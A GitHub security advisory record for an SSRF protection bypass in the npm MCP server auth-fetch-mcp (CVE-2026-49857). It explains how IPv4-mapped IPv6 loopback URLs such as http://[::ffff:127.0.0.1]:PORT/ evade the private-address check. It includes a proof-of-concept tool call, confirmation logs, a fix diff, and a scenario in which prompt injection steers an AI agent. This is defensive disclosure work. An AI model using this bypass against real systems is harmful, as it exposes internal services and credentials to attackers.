{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "auth-fetch-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T18:16:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## SSRF Protection Bypass via IPv4-mapped IPv6 Loopback\n\n### Summary\n\n`auth-fetch-mcp` v3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4(\u00277f00:1\u0027)` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of **7.4 (High)**.\n\n### Details\n\nThe vulnerable function is `isPrivateV6()` in `src/security.ts`, called from `assertSafeUrl()` which gates every outbound request made by the `auth_fetch` and `download_media` MCP tools.\n\n**Root cause \u2014 `src/security.ts:46-50`:**\n\n```ts\nif (lower.startsWith(\"::ffff:\")) {\n  const v4 = lower.slice(7);          // \"7f00:1\" after Node normalization\n  if (net.isIPv4(v4)) return isPrivateV4(v4);  // false \u2192 falls through\n}\nreturn false;   // loopback escapes the guard\n```\n\nThe Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses:\n\n| Input hostname | After `new URL(...).hostname` |\n|---|---|\n| `::ffff:127.0.0.1` | `::ffff:7f00:1` |\n| `::ffff:192.168.1.1` | `::ffff:c0a8:101` |\n\nAfter normalization, the suffix after `::ffff:` is no longer a dotted-decimal IPv4 string, so `net.isIPv4()` returns `false`. The guard falls through and `isPrivateV6()` returns `false`, causing `assertSafeUrl()` to treat a loopback address as safe.\n\n**Data flow \u2014 primary sink (`auth_fetch`):**\n\n1. `src/tools.ts:119` \u2014 `auth_fetch` accepts user-controlled `url: z.string()` (source).\n2. `src/tools.ts:128-131` \u2014 handler calls `navigateTo(ctx, url)`, passing the raw URL.\n3. `src/browser.ts:58` \u2014 `navigateTo()` calls `assertSafeUrl(url)`.\n4. `src/security.ts:74-108` \u2014 `assertSafeUrl()` delegates IPv6 host validation to `isPrivateV6()`; hex-normalized loopback bypasses the check.\n5. `src/browser.ts:66` \u2014 `page.goto(safeUrl.toString())` issues a browser request to the internal address.\n6. `src/extractor.ts:33-54` / `src/tools.ts:171-176` \u2014 page content is extracted and returned to the MCP caller.\n\n**Data flow \u2014 secondary sink (`download_media`):**\n\n1. `src/tools.ts:198-210` \u2014 `download_media` accepts user-controlled `urls[]`.\n2. `src/tools.ts:233-234` \u2014 each URL passes through `assertSafeUrl()` then `ctx.request.get(safeUrl.toString())`.\n3. `src/tools.ts:253-254` \u2014 the response body is written to the local downloads directory and the path is returned.\n\n**Dynamic confirmation (Phase 2):**\n\nThe PoC ran inside a Docker container (`--network=host`). Direct loopback URLs are correctly blocked:\n\n```\n[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)\n[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)\n```\n\nThe IPv4-mapped IPv6 form bypasses the check and reaches the internal service:\n\n```\n[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw\n[VULN] Input URL:       http://[::ffff:127.0.0.1]:31337/\n[VULN] Normalized URL:  http://[::ffff:7f00:1]:31337/\n[VULN] Cause: net.isIPv4(\u00277f00:1\u0027) = false \u2192 isPrivateV6() returns false\n[SSRF] HTTP response received from internal service\n[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER\n[CONFIRMED] VULNERABILITY_REPRODUCED=TRUE\n```\n\n### PoC\n\n**Prerequisites:**\n\n```bash\ngit clone https://github.com/ymw0407/auth-fetch-mcp.git\ncd auth-fetch-mcp\nnpm ci\nnpm run build\nnpx playwright install --with-deps chromium\n```\n\n**Terminal 1 \u2014 start a loopback-only internal service:**\n\n```bash\nnode -e \u0027require(\"http\").createServer((q,r)=\u003er.end(\"\u003ch1\u003eINTERNAL_SECRET_MARKER\u003c/h1\u003e\")).listen(31337,\"127.0.0.1\")\u0027\n```\n\n**Terminal 2 \u2014 start the MCP server (default config, no special env vars):**\n\n```bash\nnpx auth-fetch-mcp@3.0.1\n```\n\n**MCP tool invocation:**\n\n```json\n{\n  \"tool\": \"auth_fetch\",\n  \"arguments\": {\n    \"url\": \"http://[::ffff:127.0.0.1]:31337/\"\n  }\n}\n```\n\n**Expected vs. actual behavior:**\n\n| URL | Expected | Actual |\n|---|---|---|\n| `http://127.0.0.1:31337/` | BLOCK | BLOCK (correct) |\n| `http://[::1]:31337/` | BLOCK | BLOCK (correct) |\n| `http://[::ffff:127.0.0.1]:31337/` | BLOCK | **ALLOW** (vulnerable) |\n| `http://[::ffff:7f00:1]:31337/` | BLOCK | **ALLOW** (vulnerable) |\n\nAfter the user clicks the \"Capture\" button, the MCP response contains `INTERNAL_SECRET_MARKER`, confirming that the internal HTTP service was reached through the SSRF protection bypass.\n\n### Remediation\n\nDecode the hex-encoded IPv4-mapped suffix before passing it to `isPrivateV4()`:\n\n```diff\n if (lower.startsWith(\"::ffff:\")) {\n   const v4 = lower.slice(7);\n   if (net.isIPv4(v4)) return isPrivateV4(v4);\n+  const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);\n+  if (m) {\n+    const hi = parseInt(m[1], 16);\n+    const lo = parseInt(m[2], 16);\n+    const mapped = `${hi \u003e\u003e 8}.${hi \u0026 255}.${lo \u003e\u003e 8}.${lo \u0026 255}`;\n+    return isPrivateV4(mapped);\n+  }\n }\n```\n\nAdditionally, a `BrowserContext` route guard should be added in `src/browser.ts` to re-validate every navigation URL (including redirect targets) through `assertSafeUrl()`.\n\nNo patched version available.\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. An attacker who can supply or influence the `url` argument of the `auth_fetch` tool (or the `urls[]` array of `download_media`) can direct the MCP server to make HTTP requests to services bound to `127.0.0.1` or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.\n\n**Who is impacted:**\n\n- **End users** running `auth-fetch-mcp` locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user\u0027s loopback interface \u2014 local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers.\n- **Server-side deployments**: any deployment exposing `auth-fetch-mcp` as a shared MCP server faces the same risk against internal network services reachable from the host.\n- The `auth_fetch` UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product\u0027s README explicitly identifies as an intended protection boundary.\n\nConfidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.",
  "id": "GHSA-pvrj-8cg3-j5f8",
  "modified": "2026-07-01T18:16:22Z",
  "published": "2026-07-01T18:16:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-pvrj-8cg3-j5f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ymw0407/auth-fetch-mcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback"
}